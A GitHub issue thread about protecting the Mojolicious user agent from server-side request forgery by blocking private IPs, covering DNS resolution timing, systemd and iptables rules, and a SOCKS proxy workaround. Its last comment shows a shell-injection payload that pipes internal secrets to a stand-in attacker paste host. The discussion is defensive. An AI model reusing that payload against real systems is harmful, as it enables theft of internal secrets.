Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add option to not allow Mojo::UA to connect to private IPs #2204

Open
akarelas opened this issue Nov 5, 2024 · 24 comments
Open

Add option to not allow Mojo::UA to connect to private IPs #2204

akarelas opened this issue Nov 5, 2024 · 24 comments

Comments

@akarelas
Copy link
Contributor

akarelas commented Nov 5, 2024

  • Mojolicious version: 9.38

I have two webapps that make web requests to arbitrary URLs supplied by their users. It would be good if the users could not try requests to my microservices in my private network.

An option like no_private_ips, which would default to 0, would be good.

At the moment I think it's impossible to create roles or subclasses to achieve this, without copying & pasting significant amounts of code from the Mojo project.

@Grinnz
Copy link
Contributor

Grinnz commented Nov 6, 2024

You don't even need a role or subclass. Add a start event handler on the UserAgent that checks $tx->req->url->host with https://metacpan.org/pod/Data::Validate::IP#is_private_ip($ip).

@akarelas
Copy link
Contributor Author

akarelas commented Nov 6, 2024

@Grinnz I thought of that, but it's possible that host is a FQDN that resolves to two different numeric IP addresses, and while the first time I resolve it (in my start event handler as you say) it might resolve to a public IP, the second time it gets resolved (inside Mojo::IOLoop::Client, as is done currently) it might resolve to the private one.

Another problem (if I understand correctly, if not please correct me) is that your solution won't work with async requests: the start event handler is sync (if it is to modify $tx before the request has a chance to start) but the DNS request needs to happen async (otherwise can take 5 seconds, for example, on some systems).

@jberger
Copy link
Member

jberger commented Nov 6, 2024

I agree with @Grinnz, the start event is all you need. There is no distinction between sync and async requests in the event system. Actually, under the hood even "blocking" requests are non-blocking, they just start another instance of the IOLoop which then blocks the first one.

That said, I don't think it is a terrible idea to have something even somewhat official. A Role could facilitate adding that event after each creation. Or it could be a cookbook recipe showing how to do that.

@akarelas
Copy link
Contributor Author

akarelas commented Nov 6, 2024

@jberger I'm a bit confused here: Isn't it true that the UA request is not going to wait for the start event handler to fully complete (including callbacks and async calls & promises) before it connects to the target server and makes its web request?

Are you positive that you've given your answer enough though? Because my simple logic say that if DNS is async, then Mojo::IOLoop::Client will commence its request before the async DNS request which will be inside the start event handler completes. What am I understanding wrong here? Any answer is welcome.

I mean: Can $sub in $ua->on(start => $sub) ask for the request to be delayed a bit?

@jberger
Copy link
Member

jberger commented Nov 6, 2024

Oh, I think I meant prepare: https://docs.mojolicious.org/Mojo/UserAgent#prepare . I remember when prepare was added, it was specifically meant to be before anything happened in order to allow url rewriting. In this case, wanting to cancel, I don't know if there is an official way to cancel a transaction? Certainly you could rewrite it to an invalid ip address or something

@akarelas
Copy link
Contributor Author

akarelas commented Nov 6, 2024

Still @jberger , I don't understand how you think this can help with my situation. For two reasons:

  1. I think you're implying that I need to execute a DNS request inside the prepare event handler, to check whether the host of the URL resolves to a private IP. I don't understand and can't imagine at all how this can be achieved in a way that doesn't block my entire webserver for maybe even 5 seconds (or as long as an evil DNS server can take to respond). Because (case a) if I use a sync&blocking dns resolving function, this is going to block the entire webserver (I think this is obvious), and (case b) if I use an async&non-blocking dns resolving function, this is NOT going to block the UA from executing its web request before my DNS request finishes (Is that not obvious too? Am I missing something?)

And then there's another problem with this solution: It's in the first paragraph of my comment in this very thread: #2204 (comment)

@akarelas
Copy link
Contributor Author

akarelas commented Nov 6, 2024

And I don't think my request is so unreasonable or uncommon for medium-to-large project: Don't all social media sites let people post links and they show viewers an OpenGraph preview? Like facebook, twitter, mastodon, and so many others.

Why not allow Perl to create such websites?

@jberger
Copy link
Member

jberger commented Nov 6, 2024

No, I now see the problem, I was (stupidly) thinking about the use-case of trying to hit a private IP by IP not by DNS name. Honestly I don't think there's anything we can do, the name resolution happens mostly outside of our space. When using Net::DNS::Native we'd have a chance to handle it, but if you use IO::Socket::SSL/IP (which is the default) I don't think there's any opportunity to intercept.

@jberger
Copy link
Member

jberger commented Nov 6, 2024

Here you can see how NDN is used to resolve in a non-blocking way and clearly then we'd have the address but if you don't use that IO::Socket::IP just does the resolution:

# Blocking name resolution
$_ && s/[[\]]//g for @$args{qw(address socks_address)};
my $address = $args->{socks_address} || ($args->{address} ||= '127.0.0.1');
return $reactor->next_tick(sub { $self && $self->_connect($args) }) if !NNR || $args->{handle} || $args->{path};
# Non-blocking name resolution
$NDN //= Net::DNS::Native->new(pool => 5, extra_thread => 1);
my $handle = $self->{dns}
= $NDN->getaddrinfo($address, _port($args), {protocol => IPPROTO_TCP, socktype => SOCK_STREAM});
$reactor->io(
$handle => sub {
my $reactor = shift;
$reactor->remove($self->{dns});
my ($err, @res) = $NDN->get_result(delete $self->{dns});
return $self->emit(error => "Can't resolve: $err") if $err;
$args->{addr_info} = \@res;
$self->_connect($args);
}

What I see in IO::Socket::IP is that it just uses Socket::getaddrinfo so perhaps we could call that ourselves, but that would definitely be a bigger lift now

@jberger
Copy link
Member

jberger commented Nov 6, 2024

I feel like the easiest way might be to have per-transaction socket options which get merged into the global ones that come from Mojo::UserAgent. That would allow you to do your own name resolution and pass it as PeerAddrInfo

@abraxxa
Copy link

abraxxa commented Nov 7, 2024

That what firewalls are for. If the public facing servers running your social media app shouldn't be able to access internal hosts move them to a DMZ and don't allow access to your private network, regardless of the process doing it.

@akarelas
Copy link
Contributor Author

akarelas commented Nov 7, 2024

That what firewalls are for. If the public facing servers running your social media app shouldn't be able to access internal hosts move them to a DMZ and don't allow access to your private network, regardless of the process doing it.

Sure that process should have access to my internal hosts. For example to access microservices. @abraxxa

@akarelas
Copy link
Contributor Author

akarelas commented Nov 7, 2024

@abraxxa A solution I found, inspired by your comment, was given to me by claude.ai when I asked it this: "I need my daemon, which runs as a systemd service, to not be able to initiate connections to certain IP addresses. Is that possible?"

It's a set of systemd directives. So I guess I can hold the $ua in a separate process on the same machine, and have just that process with the $ua restricted. Thanks.

@akarelas
Copy link
Contributor Author

akarelas commented Nov 7, 2024

I copy/paste it here, the solution given to me by Claude. I will edit it after I try it, if it doesn't work or needs editing, otherwise I will report that it works:

# 1. Create an IPTables chain for your service
iptables -N daemon_restrictions

# 2. Add the blocking rules (example IPs)
iptables -A daemon_restrictions -d 10.0.0.0/8 -j REJECT
iptables -A daemon_restrictions -d 192.168.0.0/16 -j REJECT
iptables -A daemon_restrictions -j RETURN

# 3. Modify your systemd service file
# /etc/systemd/system/yourdaemon.service
[Unit]
Description=Your Daemon Service
After=network.target

[Service]
ExecStartPre=/sbin/iptables -I OUTPUT 1 -m owner --uid-owner yourdaemon -j daemon_restrictions
ExecStart=/path/to/your/daemon
ExecStopPost=/sbin/iptables -D OUTPUT -m owner --uid-owner yourdaemon -j daemon_restrictions
User=yourdaemon
Group=yourdaemon

[Install]
WantedBy=multi-user.target

# 4. Save iptables rules to persist across reboots
iptables-save > /etc/iptables/rules.v4

@akarelas
Copy link
Contributor Author

akarelas commented Nov 7, 2024

An even simpler systemd-based solution is to use the IPAddressDeny directive in systemd unit file (solution provided by stigo).

@abraxxa
Copy link

abraxxa commented Nov 7, 2024

That what firewalls are for. If the public facing servers running your social media app shouldn't be able to access internal hosts move them to a DMZ and don't allow access to your private network, regardless of the process doing it.

Sure that process should have access to my internal hosts. For example to access microservices. @abraxxa

Security rules should be explicit allow what‘s needed and block everything else.
In your case they should only allow the connections to the required microservices using IP/protocol/port combinations and deny everything else.

@akarelas
Copy link
Contributor Author

akarelas commented Nov 8, 2024

Come to think of it, I don't need to code a proxy process containing a Mojo::UA after all, I can use a ready & compiled proxy, and just set it (either through its config file or its systemd unit file as described above) to disallow private IPs.

@guest20
Copy link

guest20 commented Nov 8, 2024

Might make sense to allow the user to provide their own resolver object or subclass name...

It seems like one might want to have two uas in their app, one that can talk to internal/backend services and one to the internet...

Especially if their app is backed by a database that speaks http

@akarelas
Copy link
Contributor Author

akarelas commented Nov 8, 2024

I discovered (and used) the super-lightweight microsocks SOCKS5 server, and it worked, I mean I managed to do what I wanted in my post.

I'm running microsocks as a new user (UID: 1001), and this is my iptables -L -n output:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     6    --  0.0.0.0/0            127.0.0.53           owner UID match 1001 tcp dpt:53
ACCEPT     17   --  0.0.0.0/0            127.0.0.53           owner UID match 1001 udp dpt:53
ACCEPT     0    --  0.0.0.0/0            127.0.0.0/24         owner UID match 1001 state RELATED,ESTABLISHED
REJECT     0    --  0.0.0.0/0            127.0.0.0/24         owner UID match 1001 reject-with icmp-port-unreachable
REJECT     0    --  0.0.0.0/0            10.0.0.0/8           owner UID match 1001 reject-with icmp-port-unreachable
REJECT     0    --  0.0.0.0/0            172.16.0.0/12        owner UID match 1001 reject-with icmp-port-unreachable
REJECT     0    --  0.0.0.0/0            192.168.0.0/16       owner UID match 1001 reject-with icmp-port-unreachable
ACCEPT     0    --  0.0.0.0/0            0.0.0.0/0            owner UID match 1001

Then I set $ua's proxy to microsocks, and it all (just) works.

Should I close this ticket? kraih, feel free to close it if you're not interested in implementing this feature.

@abraxxa
Copy link

abraxxa commented Nov 8, 2024

I find this interesting, but it still leaves your internal network unprotected against shell vulnerabilities that can execute arbitrary commands.

@akarelas
Copy link
Contributor Author

akarelas commented Nov 8, 2024

@abraxxa I'm not sure I understand what kind of unprotected you mean and at what stage these vulnerabilities were introduced to my system. Care to expand a bit?

@guest20
Copy link

guest20 commented Nov 8, 2024

@abraxxa
If somebody is running shell commands in your prod env when they're not supposed to be you're already hosed.

That's not something one would address in this ticket, nor even in your mojo app. It depends entirely on how your app is deployed.

@akarelas
Copy link
Contributor Author

akarelas commented Nov 8, 2024

@abraxxa do you mean vunerabilities of microsocks might cause an evil remote website to run shell commands on my server?

@guest20
Copy link

guest20 commented Nov 8, 2024

They mean the type of vuln you get when you do

my $html = `curl $url_from_user` # shell injection 

And then the user submits ; curl http://secret.cluster-local/all-secrets | curl -xPOST paste.badguy.example.com/new-paste --data=- as the url

Or pretty much any place where user input is run as a shell command, really

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants